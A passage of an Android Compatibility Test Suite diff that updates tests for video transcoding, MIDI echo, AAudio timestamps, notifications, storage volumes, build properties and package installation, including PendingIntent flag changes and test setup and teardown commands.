static VideoTranscodingStatistics computeStats(final Context ctx, final Uri sourceMp4,
- final Uri transcodedMp4)
+ final Uri transcodedMp4, boolean debugYuv)
throws Exception {
// First decode the sourceMp4 to a temp yuv in yuv420p format.
Uri sourceYUV420PUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+ ctx.getCacheDir().getAbsolutePath() + "/sourceYUV420P.yuv");
decodeMp4ToYuv(ctx, sourceMp4, sourceYUV420PUri);
VideoFileInfo srcInfo = extractVideoFileInfo(ctx, sourceMp4);
+ if (debugYuv) {
+ dumpYuvToExternal(ctx, sourceYUV420PUri);
+ }
// Second decode the transcodedMp4 to a temp yuv in yuv420p format.
Uri transcodedYUV420PUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+ ctx.getCacheDir().getAbsolutePath() + "/transcodedYUV420P.yuv");
decodeMp4ToYuv(ctx, transcodedMp4, transcodedYUV420PUri);
VideoFileInfo dstInfo = extractVideoFileInfo(ctx, sourceMp4);
+ if (debugYuv) {
+ dumpYuvToExternal(ctx, transcodedYUV420PUri);
+ }
if ((srcInfo.mWidth != dstInfo.mWidth) || (srcInfo.mHeight != dstInfo.mHeight) ||
- (srcInfo.mNumVideoFrames != dstInfo.mNumVideoFrames)) {
+ (srcInfo.mNumVideoFrames != dstInfo.mNumVideoFrames) ||
+ (srcInfo.mRotationDegree != dstInfo.mRotationDegree)) {
throw new UnsupportedOperationException(
"Src mp4 and dst mp4 must have same width/height/frames");
}
@@ -167,6 +200,7 @@
videoTrackIndex = i;
break;
}
+ extractor.unselectTrack(i);
}
if (videoTrackIndex == -1) {
throw new IllegalArgumentException("Can not find video track");
diff --git a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
index d5de80b..186967d 100644
--- a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
+++ b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
@@ -114,11 +114,13 @@
// Store received messages in an array.
class MyLoggingReceiver extends MidiReceiver {
ArrayList<MidiMessage> messages = new ArrayList<MidiMessage>();
+ int mByteCount;
@Override
public synchronized void onSend(byte[] data, int offset, int count,
long timestamp) {
messages.add(new MidiMessage(data, offset, count, timestamp));
+ mByteCount += count;
notifyAll();
}
@@ -126,6 +128,10 @@
return messages.size();
}
+ public synchronized int getByteCount() {
+ return mByteCount;
+ }
+
public synchronized MidiMessage getMessage(int index) {
return messages.get(index);
}
@@ -147,6 +153,24 @@
timeToWait = endTimeMs - System.currentTimeMillis();
}
}
+
+ /**
+ * Wait until count bytes have arrived. This is a cumulative total.
+ *
+ * @param count
+ * @param timeoutMs
+ * @throws InterruptedException
+ */
+ public synchronized void waitForBytes(int count, int timeoutMs)
+ throws InterruptedException {
+ long endTimeMs = System.currentTimeMillis() + timeoutMs + 1;
+ long timeToWait = timeoutMs + 1;
+ while ((getByteCount() < count)
+ && (timeToWait > 0)) {
+ wait(timeToWait);
+ timeToWait = endTimeMs - System.currentTimeMillis();
+ }
+ }
}
@Override
@@ -359,12 +383,13 @@
mc.echoInputPort.send(buffer, 0, 0, timestamp); // should be a NOOP
// Wait for message to pass quickly through echo service.
- final int numMessages = 1;
+ // Message sent may have been split into multiple received messages.
+ // So wait until we receive all the expected bytes.
+ final int numBytesExpected = buffer.length;
final int timeoutMs = 20;
synchronized (receiver) {
- receiver.waitForMessages(numMessages, timeoutMs);
+ receiver.waitForBytes(numBytesExpected, timeoutMs);
}
- // Message sent may have been split into multiple received messages.
// Check total size.
final int numReceived = receiver.getMessageCount();
@@ -374,9 +399,10 @@
totalBytesReceived += message.data.length;
assertEquals("timestamp in message", timestamp, message.timestamp);
}
- assertEquals("byte count of messages", buffer.length,
+ assertEquals("byte count of messages", numBytesExpected,
totalBytesReceived);
+ // Make sure the payload was not corrupted.
int sentIndex = 0;
for (int i = 0; i < numReceived; i++) {
MidiMessage message = receiver.getMessage(i);
diff --git a/tests/tests/mimemap/OWNERS b/tests/tests/mimemap/OWNERS
index 7f38126..213af28 100644
--- a/tests/tests/mimemap/OWNERS
+++ b/tests/tests/mimemap/OWNERS
@@ -1,4 +1,2 @@
# Bug component: 24949
-include platform/libcore:/OWNERS
-jsharkey@android.com
-
+include platform/frameworks/base:/mime/OWNERS
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index b8ea502..23aff51 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -35,6 +35,10 @@
PARAM_PERF_MODE
};
+static const int64_t MAX_LATENCY_RANGE = 200 * NANOS_PER_MILLISECOND;
+static const int64_t MAX_LATENCY = 800 * NANOS_PER_MILLISECOND;
+static const int NUM_TIMESTAMP_QUERY = 3;
+
static std::string getTestName(const ::testing::TestParamInfo<StreamTestParams>& info) {
return std::string() + sharingModeToString(std::get<PARAM_SHARING_MODE>(info.param)) +
"__" + performanceModeToString(std::get<PARAM_PERF_MODE>(info.param));
@@ -129,6 +133,61 @@
}
}
+ int64_t getLatency(const int64_t presentationTime, const int64_t presentationPosition) const {
+ const int64_t frameIndex = isOutput() ? AAudioStream_getFramesWritten(stream())
+ : AAudioStream_getFramesRead(stream());
+ const int64_t nowNs = getNanoseconds();
+ const int64_t frameIndexDelta = frameIndex - presentationPosition;
+ const int64_t frameTimeDelta = (frameIndexDelta * NANOS_PER_SECOND) / actual().sampleRate;
+ const int64_t framePresentationTime = presentationTime + frameTimeDelta;
+ return isOutput() ? (framePresentationTime - nowNs) : (nowNs - framePresentationTime);
+ }
+
+ void testTimestamp(const int64_t timeoutNanos) {
+ // Record for 1 seconds to ensure we can get a valid timestamp
+ const int32_t frames = actual().sampleRate;
+ mHelper->startStream();
+ int64_t maxLatencyNanos = 0;
+ int64_t minLatencyNanos = NANOS_PER_SECOND;
+ int64_t sumLatencyNanos = 0;
+ int64_t lastPresentationPosition = -1;
+ // Get the maximum and minimum latency within 3 successfully timestamp query.
+ for (int i = 0; i < NUM_TIMESTAMP_QUERY; ++i) {
+ aaudio_result_t result;
+ int maxRetries = 10; // Try 10 times to get timestamp
+ int64_t presentationTime = 0;
+ int64_t presentationPosition = 0;
+ do {
+ processData(frames, timeoutNanos);
+ presentationTime = 0;
+ presentationPosition = 0;
+ result = AAudioStream_getTimestamp(
+ stream(), CLOCK_MONOTONIC, &presentationPosition, &presentationTime);
+ } while (result != AAUDIO_OK && --maxRetries > 0 &&
+ lastPresentationPosition == presentationPosition);
+
+ if (result == AAUDIO_OK) {
+ const int64_t latencyNanos = getLatency(presentationTime, presentationPosition);
+ maxLatencyNanos = std::max(maxLatencyNanos, latencyNanos);
+ minLatencyNanos = std::min(minLatencyNanos, latencyNanos);
+ sumLatencyNanos += latencyNanos;
+ }
+
+ EXPECT_EQ(AAUDIO_OK, result);
+ // There should be a new timestamp available in 10s.
+ EXPECT_NE(lastPresentationPosition, presentationPosition);
+ lastPresentationPosition = presentationPosition;
+ }
+ mHelper->stopStream();
+ // The latency must be consistent.
+ EXPECT_LT(maxLatencyNanos - minLatencyNanos, MAX_LATENCY_RANGE);
+ EXPECT_LT(sumLatencyNanos / NUM_TIMESTAMP_QUERY, MAX_LATENCY);
+ }
+
+ virtual bool isOutput() const = 0;
+
+ virtual void processData(const int32_t frames, const int64_t timeoutNanos) = 0;
+
std::unique_ptr<T> mHelper;
bool mSetupSuccessful = false;
@@ -140,6 +199,9 @@
protected:
void SetUp() override;
+ bool isOutput() const override { return false; }
+ void processData(const int32_t frames, const int64_t timeoutNanos) override;
+
int32_t mFramesPerRead;
};
@@ -163,6 +225,18 @@
allocateDataBuffer(mFramesPerRead);
}
+void AAudioInputStreamTest::processData(const int32_t frames, const int64_t timeoutNanos) {
+ // See b/62090113. For legacy path, the device is only known after
+ // the stream has been started.
+ EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+ for (int32_t framesLeft = frames; framesLeft > 0; ) {
+ aaudio_result_t result = AAudioStream_read(
+ stream(), getDataBuffer(), std::min(frames, mFramesPerRead), timeoutNanos);
+ EXPECT_GT(result, 0);
+ framesLeft -= result;
+ }
+}
+
TEST_P(AAudioInputStreamTest, testReading) {
if (!mSetupSuccessful) return;
@@ -170,22 +244,19 @@
EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
mHelper->startStream();
- // See b/62090113. For legacy path, the device is only known after
- // the stream has been started.
- ASSERT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
- for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
- aaudio_result_t result = AAudioStream_read(
- stream(), getDataBuffer(), std::min(framesToRecord, mFramesPerRead),
- DEFAULT_READ_TIMEOUT);
- ASSERT_GT(result, 0);
- framesLeft -= result;
- }
+ processData(framesToRecord, DEFAULT_READ_TIMEOUT);
mHelper->stopStream();
EXPECT_GE(AAudioStream_getFramesRead(stream()), framesToRecord);
EXPECT_GE(AAudioStream_getFramesWritten(stream()), framesToRecord);
EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
}
+TEST_P(AAudioInputStreamTest, testGetTimestamp) {
+ if (!mSetupSuccessful) return;
+
+ testTimestamp(DEFAULT_READ_TIMEOUT);
+}
+
TEST_P(AAudioInputStreamTest, testStartReadStop) {
if (!mSetupSuccessful) return;
@@ -274,6 +345,9 @@
class AAudioOutputStreamTest : public AAudioStreamTest<OutputStreamBuilderHelper> {
protected:
void SetUp() override;
+
+ bool isOutput() const override { return true; }
+ void processData(const int32_t frames, const int64_t timeoutNanos) override;
};
void AAudioOutputStreamTest::SetUp() {
@@ -290,6 +364,16 @@
allocateDataBuffer(framesPerBurst());
}
+void AAudioOutputStreamTest::processData(const int32_t frames, const int64_t timeoutNanos) {
+ for (int32_t framesLeft = frames; framesLeft > 0;) {
+ aaudio_result_t framesWritten = AAudioStream_write(
+ stream(), getDataBuffer(),
+ std::min(framesPerBurst(), framesLeft), timeoutNanos);
+ EXPECT_GT(framesWritten, 0);
+ framesLeft -= framesWritten;
+ }
+}
+
TEST_P(AAudioOutputStreamTest, testWriting) {
if (!mSetupSuccessful) return;
@@ -454,6 +538,19 @@
}
}
+TEST_P(AAudioOutputStreamTest, testGetTimestamp) {
+ if (!mSetupSuccessful) return;
+
+ // Calculate a reasonable timeout value.
+ const int32_t timeoutBursts = 20;
+ int64_t timeoutNanos =
+ timeoutBursts * (NANOS_PER_SECOND * framesPerBurst() / actual().sampleRate);
+ // Account for cold start latency.
+ timeoutNanos = std::max(timeoutNanos, 400 * NANOS_PER_MILLISECOND);
+
+ testTimestamp(timeoutNanos);
+}
+
TEST_P(AAudioOutputStreamTest, testRelease) {
if (!mSetupSuccessful) return;
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
index 803f55e..fca8837 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
@@ -128,7 +128,7 @@
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Notification notification =
new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index f5606de..df0d592 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -314,7 +314,7 @@
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Notification notification =
new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
index 83d2978..cf8981d 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
@@ -101,6 +101,6 @@
private PendingIntent getPendingIntent() {
return PendingIntent.getActivity(
- mContext, 0, new Intent(mContext, this.getClass()), 0);
+ mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
}
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index 4318f7f..ee3b3e6 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -262,7 +262,7 @@
mUi.dropShellPermissionIdentity();
PendingIntent sendIntent = PendingIntent.getActivity(mContext, 0,
- new Intent(Intent.ACTION_SEND), 0);
+ new Intent(Intent.ACTION_SEND), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.Action sendAction = new Notification.Action.Builder(ICON_ID, "SEND",
sendIntent).build();
@@ -530,7 +530,7 @@
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.Action action = new Notification.Action.Builder(null, "",
pendingIntent).build();
// This method has to exist and the call cannot fail
@@ -675,7 +675,7 @@
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Notification notification =
new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
index 52fe892..c164656 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
@@ -129,7 +129,7 @@
private PendingIntent getPendingIntent() {
return PendingIntent.getActivity(
- mContext, 0, new Intent(mContext, this.getClass()), 0);
+ mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 96787e7..e70782d 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
@@ -34,6 +35,11 @@
-->
</test>
+ <!-- Create Place to store apks -->
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/os" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts/os" />
+ </target_preparer>
<!-- Load additional APKs onto device -->
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
diff --git a/tests/tests/os/OWNERS b/tests/tests/os/OWNERS
new file mode 100644
index 0000000..3429892
--- /dev/null
+++ b/tests/tests/os/OWNERS
@@ -0,0 +1,4 @@
+per-file *AutoRevoke* = eugenesusla@google.com
+per-file *Companion* = eugenesusla@google.com
+per-file *AndroidManifest.xml = eugenesusla@google.com
+per-file *CtsOsTestCases.xml = eugenesusla@google.com
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 86972fc..026e5df 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -35,6 +35,7 @@
import android.support.test.uiautomator.BySelector
import android.support.test.uiautomator.UiObject2
import android.view.accessibility.AccessibilityNodeInfo
+import android.view.accessibility.AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
import android.widget.Switch
import androidx.test.InstrumentationRegistry
import androidx.test.runner.AndroidJUnit4
@@ -433,10 +434,13 @@
waitForIdle()
return eventually {
val ui = instrumentation.uiAutomation.rootInActiveWindow
- return@eventually ui.lowestCommonAncestor(
- { node -> node.textAsString == "Remove permissions if app isn’t used" },
- { node -> node.className == Switch::class.java.name }
- ).assertNotNull {
+ val node = ui.lowestCommonAncestor(
+ { node -> node.textAsString == "Remove permissions if app isn’t used" },
+ { node -> node.className == Switch::class.java.name })
+ if (node == null) {
+ ui.depthFirstSearch { it.isScrollable }?.performAction(ACTION_SCROLL_FORWARD)
+ }
+ return@eventually node.assertNotNull {
"No auto-revoke whitelist toggle found in\n${uiDump(ui)}"
}.depthFirstSearch { node -> node.className == Switch::class.java.name }!!
}
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index ca0f84a..45fcee9 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -85,9 +85,6 @@
List<String> abiList = Arrays.asList(abiListProperty);
- // Every device must support at least one 32 bit ABI.
- assertTrue(Build.SUPPORTED_32_BIT_ABIS.length > 0);
-
// Every supported 32 bit ABI must be present in Build.SUPPORTED_ABIS.
for (String abi : Build.SUPPORTED_32_BIT_ABIS) {
assertTrue(abiList.contains(abi));
@@ -258,6 +255,8 @@
assertTrue(SKU_PATTERN.matcher(Build.SKU).matches());
+ assertTrue(SKU_PATTERN.matcher(Build.ODM_SKU).matches());
+
assertTrue(TAGS_PATTERN.matcher(Build.TAGS).matches());
// No format requirements stated in CDD for Build.TIME
diff --git a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
index c9ad47f..6d0a68a 100644
--- a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
+++ b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
@@ -70,7 +70,7 @@
case "ARE":
final PendingIntent pi = PendingIntent.getActivity(
CrossProcessExceptionService.this, 12, new Intent(),
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
throw new AuthenticationRequiredException(new FileNotFoundException("FNFE"), pi);
case "RE":
throw new RuntimeException("RE");
diff --git a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
index c779f8a..e83b54a 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
@@ -21,6 +21,7 @@
import android.net.Uri;
import android.os.ConditionVariable;
import android.os.FileObserver;
+import android.platform.test.annotations.AppModeFull;
import android.provider.MediaStore;
import android.test.AndroidTestCase;
import java.io.File;
@@ -55,12 +56,13 @@
* MODIFY events on that file, ensuring that, in the case of a FUSE mounted
* file system, changes applied to the lower file system will be detected
* by a monitored FUSE folder.
- * Instead of checking if the set of generated events if exactly the same
+ * Instead of checking if the set of generated events is exactly the same
* as the set of expected events, the test checks if the set of generated
* events contains CREATE, OPEN and MODIFY. This because there may be other
* services (e.g., file indexing) that may access the newly created file,
* generating spurious events that this test doesn't care of and filters
* them out. */
+ @AppModeFull(reason = "Instant apps cannot access external storage")
public void testCreateFile() throws Exception {
String imageName = "image" + System.currentTimeMillis() + ".jpg";
@@ -82,15 +84,16 @@
os.write("TEST".getBytes("UTF-8"));
os.close();
- /* Wait for for the inotify events to be catched. A timeout occurs
- * after 2 seconds. */
+ /* Wait for for the inotify events to be caught. A timeout occurs after
+ * 2 seconds. */
mCond.block(2000);
int detectedEvents = fileObserver.getEvents().getOrDefault(imageName, 0);
/* Verify if the received events correspond to the ones that were requested */
- assertEquals("Uncatched some of the events", PathFileObserver.eventsToSet(eventsMask),
- PathFileObserver.eventsToSet(detectedEvents & eventsMask));
+ assertEquals("Expected and received inotify events do not match",
+ PathFileObserver.eventsToSet(eventsMask),
+ PathFileObserver.eventsToSet(detectedEvents & eventsMask));
fileObserver.stopWatching();
}
@@ -125,7 +128,7 @@
path, filteredEvent | mGeneratedEventsMap.getOrDefault(path, 0));
/* Release the condition variable only if at least all the matching
- * events have been catched for every monitored file. */
+ * events have been caught for every monitored file. */
for (String file : mMonitoredEventsMap.keySet()) {
int monitoredEvents = mMonitoredEventsMap.getOrDefault(file, 0);
int generatedEvents = mGeneratedEventsMap.getOrDefault(file, 0);
diff --git a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
index 66a11d4..d29e8f7 100644
--- a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
@@ -19,7 +19,6 @@
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.fail;
import android.os.Parcel;
@@ -380,31 +379,6 @@
}
@Test
- public void testSetStrength() {
- VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
- VibrationEffect.EFFECT_CLICK, true);
- int[] strengths = {
- VibrationEffect.EFFECT_STRENGTH_LIGHT,
- VibrationEffect.EFFECT_STRENGTH_MEDIUM,
- VibrationEffect.EFFECT_STRENGTH_STRONG
- };
- for (int strength : strengths) {
- effect.setEffectStrength(strength);
- assertEquals(strength, effect.getEffectStrength());
- }
- }
-
- @Test
- public void testSetStrengthInvalid() {
- VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
- VibrationEffect.EFFECT_CLICK, true);
- try {
- effect.setEffectStrength(239017);
- fail("Illegal strength, should throw IllegalArgumentException");
- } catch (IllegalArgumentException expected) {}
- }
-
- @Test
public void testStartComposition() {
VibrationEffect.Composition first = VibrationEffect.startComposition();
VibrationEffect.Composition other = VibrationEffect.startComposition();
diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
index 21a2908..fed6b44 100644
--- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
+++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
@@ -21,9 +21,8 @@
import android.app.Instrumentation;
import android.net.Uri;
-import android.os.SystemProperties;
import android.os.image.DynamicSystemClient;
-import android.util.FeatureFlagUtils;
+import android.platform.test.annotations.AppModeFull;
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.SmallTest;
@@ -34,6 +33,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+@AppModeFull(reason = "Instant apps cannot access DynamicSystemClient")
@SmallTest
@RunWith(AndroidJUnit4.class)
public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChangedListener {
@@ -50,16 +50,8 @@
mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
}
- private boolean featureFlagEnabled() {
- return SystemProperties.getBoolean(
- FeatureFlagUtils.PERSIST_PREFIX + FeatureFlagUtils.DYNAMIC_SYSTEM, false);
- }
-
@Test
public void testDynamicSystemClient() {
- if (!featureFlagEnabled()) {
- return;
- }
DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
dSClient.setOnStatusChangedListener(this);
try {
@@ -87,6 +79,32 @@
}
}
+ @Test
+ public void testDynamicSystemClient_withoutOnStatusChangedListener() {
+ DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
+ try {
+ dSClient.bind();
+ } catch (SecurityException e) {
+ fail();
+ }
+ Uri uri = Uri.parse("https://www.google.com/").buildUpon().build();
+ try {
+ dSClient.start(uri, 1024L << 10);
+ } catch (SecurityException e) {
+ fail();
+ }
+ try {
+ Thread.sleep(3 * 1000);
+ } catch (InterruptedException e) {
+ fail();
+ }
+ try {
+ dSClient.unbind();
+ } catch (SecurityException e) {
+ fail();
+ }
+ }
+
@After
public void tearDown() {
mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index 9772efc..5a14040 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -24,7 +24,9 @@
import android.os.Looper;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
import android.os.ProxyFileDescriptorCallback;
+import android.os.UserHandle;
import android.os.cts.R;
import android.os.storage.OnObbStateChangeListener;
import android.os.storage.StorageManager;
@@ -211,15 +213,18 @@
assertEquals("Wrong state", Environment.MEDIA_MOUNTED, volume.getState());
// Tests properties that depend on storage type (emulated or physical)
- final String uuid = volume.getUuid();
+ final String fsUuid = volume.getUuid();
+ final UUID uuid = volume.getStorageUuid();
final boolean removable = volume.isRemovable();
final boolean emulated = volume.isEmulated();
if (emulated) {
assertFalse("Should not be removable", removable);
- assertNull("Should not have uuid", uuid);
+ assertNull("Should not have fsUuid", fsUuid);
+ assertEquals("Should have uuid_default", StorageManager.UUID_DEFAULT, uuid);
} else {
assertTrue("Should be removable", removable);
- assertNotNull("Should have uuid", uuid);
+ assertNotNull("Should have fsUuid", fsUuid);
+ assertNull("Should not have uuid", uuid);
}
// Tests path - although it's not a public API, sm.getPrimaryStorageVolume()
@@ -331,6 +336,11 @@
}
};
+ // Unmount storage data and obb dirs before test so test process won't be killed.
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "sm unmount-app-data-dirs " + mContext.getPackageName() + " "
+ + Process.myPid() + " " + UserHandle.myUserId());
+
// Unmount primary storage, verify we can see it take effect
mStorageManager.registerStorageVolumeCallback(mContext.getMainExecutor(), callback);
InstrumentationRegistry.getInstrumentation().getUiAutomation()
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
index 28ec019..d1d52a1 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
@@ -196,7 +196,7 @@
mContext,
sessionId,
broadcastIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pendingIntent.getIntentSender();
}
diff --git a/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt b/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
index 024d1ad..c66569a 100644
--- a/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
+++ b/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
@@ -122,7 +122,7 @@
// Commit session
val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(ACTION),
- PendingIntent.FLAG_UPDATE_CURRENT)
+ PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
session.commit(pendingIntent.intentSender)
}
